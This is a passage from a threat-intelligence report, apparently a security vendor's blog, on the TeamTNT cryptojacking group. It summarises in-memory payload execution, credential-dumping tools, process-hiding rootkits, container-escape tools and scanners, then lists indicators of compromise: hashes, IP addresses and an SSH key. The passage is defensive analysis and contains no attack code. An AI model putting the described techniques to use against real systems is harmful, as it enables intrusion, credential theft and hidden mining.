&lt;figcaption&gt;Figure 72: Ezuri&amp;#39;s main function and decryption logic.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Figure 73 shows the &lt;strong&gt;runFromMemory&lt;/strong&gt; function. The execution from memory is achieved by first creating a memory file via the Linux syscall &lt;code&gt;memfd_create&lt;/code&gt;. The decrypted content is written to the memory file. Following this, the process is forked and the spawned child executes the memory file via the &lt;strong&gt;execve&lt;/strong&gt; syscall.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig76.png" title="Figure 73: Source code of the function that executes the decrypted payload from within memory." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 73: Source code of the function that executes the decrypted payload from within memory.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Punk.py&lt;span class="hx:absolute hx:-mt-20" id="punkpy"&gt;&lt;/span&gt;
&lt;a href="#punkpy" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Punk.py is a post-exploitation tool for Unix systems written by Giuseppe Corti.
It&amp;rsquo;s open-source and hosted on &lt;a href="https://github.com/r3vn/punk.py"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;. Figure 74 shows a screenshot of the GitHub
repository. It uses credentials found on the exploited host to try to access
other machines that are part of the SSH &lt;code&gt;known_hosts&lt;/code&gt; database. It has the
ability to execute a command on all machines that it manages to log into.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig77.png" title="Figure 74: GitHub repository for punk." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 74: GitHub repository for punk.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;libprocesshider&lt;span class="hx:absolute hx:-mt-20" id="libprocesshider"&gt;&lt;/span&gt;
&lt;a href="#libprocesshider" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The libprocesshider is a source code-available project on GitHub. A screenshot
of the repository is shown in Figure 75. The project is compiled as a shared
object. If it is loaded using &lt;code&gt;LD_PRELOAD&lt;/code&gt; it &amp;ldquo;hooks&amp;rdquo; some &lt;strong&gt;libc&lt;/strong&gt; functions
which allows the library to hide a process from commands like &lt;strong&gt;ps&lt;/strong&gt;, &lt;strong&gt;lsof&lt;/strong&gt;,
and &lt;strong&gt;top&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig78.png" title="Figure 75: GitHub repository for libproccesshider." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 75: GitHub repository for libproccesshider.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;tmate&lt;span class="hx:absolute hx:-mt-20" id="tmate"&gt;&lt;/span&gt;
&lt;a href="#tmate" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://tmate.io/"target="_blank" rel="noopener"&gt;Tmate&lt;/a&gt; is an open-source tool that provides an easy and secure way to share the
terminal. It establishes a secure connection over SSH to the tmate.io website
and generates a random URL for each session. The user can share the URL with
other trusted users. Tmate supports all popular operating systems, including
GNU/Linux, &lt;a href="https://intezer.com/blog/alert-triage/macos-automated-triage-with-intezer/?utm_campaign=research-blog&amp;amp;utm_content=teamtnt-cryptomining-explosion&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;macOS&lt;/a&gt;, and BSD systems.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig79.png" title="Figure 76: Screenshot from the official tmate site." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 76: Screenshot from the official tmate site.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;masscan&lt;span class="hx:absolute hx:-mt-20" id="masscan"&gt;&lt;/span&gt;
&lt;a href="#masscan" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Masscan is a TCP port scanner written by security researcher Robert Graham, also
known as &lt;a href="https://twitter.com/ErrataRob"target="_blank" rel="noopener"&gt;ErrataRob&lt;/a&gt; on Twitter. The scanner has been designed to scan the IPv4 address
space very quickly and can be used for internet-wide scanning. To achieve this
speed it needs to use a userland-based network stack.&lt;/p&gt;
&lt;h3&gt;pnscan&lt;span class="hx:absolute hx:-mt-20" id="pnscan"&gt;&lt;/span&gt;
&lt;a href="#pnscan" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pnscan, also known as Peter&amp;rsquo;s parallel Network Scanner, is a similar tool to
masscan. It can be used to scan an IPv4 network for SSH, FTP, SMTP, Web, IDENT,
and other services. The source code is hosted on &lt;a href="https://github.com/ptrrkssn/pnscan"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Tiny SHell&lt;span class="hx:absolute hx:-mt-20" id="tiny-shell"&gt;&lt;/span&gt;
&lt;a href="#tiny-shell" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/creaktive/tsh"target="_blank" rel="noopener"&gt;Tiny SHell&lt;/a&gt; (tsh) is an open-source Unix backdoor, divided into client and server,
written in C. It is small in size and supports multiple file transfers.&lt;/p&gt;
&lt;h3&gt;MimiPenguin&lt;span class="hx:absolute hx:-mt-20" id="mimipenguin"&gt;&lt;/span&gt;
&lt;a href="#mimipenguin" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/huntergregal/mimipenguin"target="_blank" rel="noopener"&gt;MimiPenguin&lt;/a&gt; is an open-source tool thal extracts login passwords similar to Mimikatz in
Windows. It dumps processes that are loaded into memory and extracts lines that
may contain cleartext passwords.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig80.png" title="Figure 77: Screenshot of the GitHub project MimiPenguin." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 77: Screenshot of the GitHub project MimiPenguin.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Mimipy&lt;span class="hx:absolute hx:-mt-20" id="mimipy"&gt;&lt;/span&gt;
&lt;a href="#mimipy" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/n1nj4sec/mimipy"target="_blank" rel="noopener"&gt;Mimipy&lt;/a&gt; is a cross-platform and open-source tool that dumps passwords from processes
in memory. It is based on the MimiPenguin mentioned above. Mimipy has other
features that include: extracting credentials from browsers and HTTP servers,
support for lightDM, and overwriting passwords.&lt;/p&gt;
&lt;h3&gt;BotB&lt;span class="hx:absolute hx:-mt-20" id="botb"&gt;&lt;/span&gt;
&lt;a href="#botb" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/brompwnie/botb"target="_blank" rel="noopener"&gt;Break out of the Box (BotB)&lt;/a&gt; is an open-source tool designed to be used by pentesters. It has many
capabilities: exploits known container vulnerabilities to break out of the
container, find and use Kubernetes and GCP secrets, push data to an S3 bucket
and more.&lt;/p&gt;
&lt;h3&gt;Diamorphine&lt;span class="hx:absolute hx:-mt-20" id="diamorphine"&gt;&lt;/span&gt;
&lt;a href="#diamorphine" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Diamorphine is a Linux Kernel Module rootkit written by &lt;a href="https://twitter.com/m0nadlabs"target="_blank" rel="noopener"&gt;Victor Ramos Mello&lt;/a&gt;. It&amp;rsquo;s hosted on &lt;a href="https://github.com/m0nad/Diamorphine"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;
and has support for kernel versions 2.6.x/3.x/4.x/5.x. It can hide processes,
files and elevate a given user to root. Interactions with the rootkit are via
signals.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig81.png" title="Figure 78: Screenshot of the GitHub project Diamorphine." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 78: Screenshot of the GitHub project Diamorphine.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Docker Escape Tool&lt;span class="hx:absolute hx:-mt-20" id="docker-escape-tool"&gt;&lt;/span&gt;
&lt;a href="#docker-escape-tool" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Docker Escape Tool is an open-source tool hosted on &lt;a href="https://github.com/PercussiveElbow/docker-escape-tool"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt; that identifies Docker
containers and tries to escape the container using known techniques. The purpose
of the tool is to assess the security of containers. Implemented techniques
include: mount Docker Unix socket, reach the Docker daemon on the default ports,
exploit a vulnerability in RunC that allows attackers to overwrite the host RunC
binary (CVE-2019-5736).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig82.png" title="Figure 79: Screenshot of the Docker Escape Tool repository on GitHub." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 79: Screenshot of the Docker Escape Tool repository on GitHub.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Das Fazit (Conclusion)&lt;span class="hx:absolute hx:-mt-20" id="das-fazit-conclusion"&gt;&lt;/span&gt;
&lt;a href="#das-fazit-conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Illicit cryptomining has become the major threat to Linux servers and cloud
environments. TeamTNT is one of the predominant threat actors in this field.
TeamTNT&amp;rsquo;s activity can be traced back to the Fall of 2019 in attacks against
Redis server. From this humble beginning, the threat actor has changed its
targets towards servers running Docker and now currently Kubernetes clusters.
Most of the tooling and tactics used by the group is similar to other threat
actors in the field. They predominantly structure their attacks around a set of
multiple shell scripts but also use open-source and source available tools. The
shell scripts are rarely written to disk, instead they are downloaded using
&lt;strong&gt;curl&lt;/strong&gt; or &lt;strong&gt;wget&lt;/strong&gt; and &amp;ldquo;piped&amp;rdquo; directly into a shell interpreter. This can
make it hard to investigate what has happened to a compromised machine as no
artifacts on the machine exist. They also clear logs to make the investigation
even harder.&lt;/p&gt;
&lt;p&gt;Since they are competing with other cryptojacking-focused threat actors, TeamTNT
employs different techniques to ensure that only their cryptominer is running.
In early campaigns, we have seen them &amp;ldquo;plug the hole&amp;rdquo; used to compromise the
machine, for example, by adding firewall rules to block external network
connections to access the vulnerable service. TeamTNT has also used different
techniques for hiding their processes on the machine, including userland
rootkits. Some of the scripts also include lists of other known cryptominers
that the threat actor tries to kill on the machine. This is a common technique
employed by many other threat actors in this field which essentially turns the
compromised machine into a game of &amp;ldquo;King of the Hill.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;What separates TeamTNT from other major threat actors in the cryptojacking field
is their public presence on the clear web. They maintain a public appearance on
Twitter and frequently tweet. Based on the public persona, it can be assumed
that they are based in Germany. The threat actor commonly interacts with German
politicians, tweets about their ongoing campaigns, and comments on reports by
the security industry. The majority of these comments are to take credit for
their work. During the Spring of 2021 some campaigns were attributed to TeamTNT
but the threat actor refuted that it was their work. This suggested the
emergence of an imitator reusing some of TeamTNT&amp;rsquo;s older shell scripts. It
remains to be seen if this will affect their activity and if they will continue
to target Kubernetes clusters or if they will move on and target new cloud
infrastructure.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Pre-February Campaign&lt;span class="hx:absolute hx:-mt-20" id="pre-february-campaign"&gt;&lt;/span&gt;
&lt;a href="#pre-february-campaign" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bsh.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;125dc99b9f94d5548bb68b371cb2ff22134b60b1fef915d1ae85b025f4039be0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ash.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;561b76684d80084bd4b924e439f7e37683f486ca94fa088f283402dc7443271c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dcc96cdc7192a41fb242a680a83969e16247511816dc0f80e63b134059497ad1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;hole64&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;da43ed194729f82db68b1d91a17cea6afde8ae81357116c35c4c129888a836bf&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;36.7.154.124&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;116.62.122.90&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3.215.110.66&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;125.254.128.200&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;SSH Key&lt;span class="hx:absolute hx:-mt-20" id="ssh-key"&gt;&lt;/span&gt;
&lt;a href="#ssh-key" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIzB9hz7bNT6qtQKCMcitaaxEB9RyJEZuumE&amp;#43;gUMrh6hg3ccSMg9qnAlS/Lmw5SwwLJQXMB5WuhclPJsVawuP&amp;#43;pfsm1ZiGF2JnczEW5kBw1o5Fl/6WOV1p9MOaXHAbpi7o/5Zauu3lTktyIWuP5R9l/2pUWcFZInnaiOr1KNtCBPisNYbZ4FWAQVGwXzUWZ/ZE7SYIoOUm3EJihPPiTulegUmIzc7TzrnEn9M3U8K&amp;#43;LVFye&amp;#43;wDeSC3WNYwfjGQJA4aFsANOiz89olh77G7IaDR8LghNfVVkRjaJ6onDZwb2CZWSivkFsdYtL6690S407eqoes7wkJudo9Qxsn9wxNv&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;February 2020 Campaign&lt;span class="hx:absolute hx:-mt-20" id="february-2020-campaign"&gt;&lt;/span&gt;
&lt;a href="#february-2020-campaign" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files-1"&gt;&lt;/span&gt;
&lt;a href="#files-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;32bit.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;40c298446a7e53c3775f67deedf5d13b7c2c601de3c744f72fda42f99c156075&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;64bit.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;4f2ee441b35e8e0fe99608a011b632db219bd6631bcda39899b747a0dd38b5c6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bioset&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;da43ed194729f82db68b1d91a17cea6afde8ae81357116c35c4c129888a836bf&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;config.json&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;1470c3100b976ae2d4f9a1def5d6c6715d4f050e7de5e261b5d4e4a2faf9603d&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;cyo.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;77334b8e3c8df468eda2ef93467d63e41dab7beb451a3bbb5637473fabc620d6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dbus-config&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b7225aefd8fb399a7f18639c32c59442daa5401b6164130e316092e8618f667f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;FullCleanUp.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;6a1221fc82b2bf13dc8112795d3edfb7bab8df7a9d4af69b89da4ac31e0e87e5&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;hfile&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;e5f48ccf07addd83986f5b6f9444d5f91cacbb5c471b815a2b68a9c02727821b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;hid.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fe6e522ff266867060fa70d85be299ac5b12f2888935c5fe6e0a07d3ccaa1de2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;logs.c&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;59aa2101b05225dd0eb7e7b456eb26357540723e3c1d8a10deca83e9715a10fb&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;setup.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b5ba2c86ebf85cbf700c83d7edc034717d7ee08e84fbae440a38139c15ef7a27&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;NarrenKappe.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a25a73af06c43a20eb9f4f8b67357cec3c74143ccf97ce666446296a360d93fa&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;pnscan-1.11.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;702b123a3abd518ac696c9e340e1aaf4742d271922b8b537d8595ea6486d7aa8&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;punk.py&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a66140870d0a71c7bd42b7631e4a85858e6b33e4a21be637b94d41833dee8383&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;rd.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;d42ee8a001de9b13496f2980de6ca22b544a5a9012e9e97374343411593c2c29&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;setup.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dad3016b75e89b415e3c7e360ec2ffa31e48b667082843013bbff719add826c7&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;s_poor.ssh.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;1eead4f456ed8741d1de821e2fcecb026c1cbbf3477786cc3e637eac05811f46&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;sysinfo.txt&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;53ba0436084f054c9c2c8aaf110f2c89c3c8b1fd9f1e4ca48cedfa86b7dece81&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;tmp.min.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;669ace6d57c68e4a7f2fabcacfecf485a5c90bfc28a809a432e68b53f60836a4&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;watchdogd.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;e0876231c4829e0c7be4ffe47466b57e17a15e9c1529f332f813ea532716c945&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;whois2.irc.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;795a3d99c1e8e34a6228d95c4435c5ed7c866dc0e303f9788ea6fe055b1a7ac6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;whois.irc&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;205db0ef59cad167c6132916f8f7a1d1963e740b36400419b2e5ba307e9f765c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;32-bit Archive&lt;span class="hx:absolute hx:-mt-20" id="32-bit-archive"&gt;&lt;/span&gt;
&lt;a href="#32-bit-archive" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;watchdogd&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;69fea980538a12ac0791f0801fc93d8b4d16e8329793d635221a16f935e8ca07&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;XMRig Miner&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;4256402fc04e49f3da8d1bf88efdcca6a3b03f4b881777d2c32a8df364cececd&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;64-bit Archive&lt;span class="hx:absolute hx:-mt-20" id="64-bit-archive"&gt;&lt;/span&gt;
&lt;a href="#64-bit-archive" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bioset&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;da43ed194729f82db68b1d91a17cea6afde8ae81357116c35c4c129888a836bf&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;config.json&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;285e91d3d578fcaf6665c70de457f602d572203b04c281c03b4bf9103aa5f61f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;do.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;9c29d4ecf6a60e7bfc0afbaa7a669a18af163440730711367d1c715042b5f755&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;lo&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;920014ace9add87139db41eb2538b292ad136fde7ac5f683eb3b31e0fed5f808&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;rstart.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;4beaf3edbd1065c0dfd02cf864effe3d1e18d0f39275f0d49cb21951a12976c3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;systemd-clean&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3a2aa7235f0617df430b3d556779bee2ae0af75d7c2f17f052971d3f38fad9e0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;watchdogd&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fdf26ebad48da26be59b5784f43d1e5ee2efa93c59a717fe2ae1d82bf3f016d3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
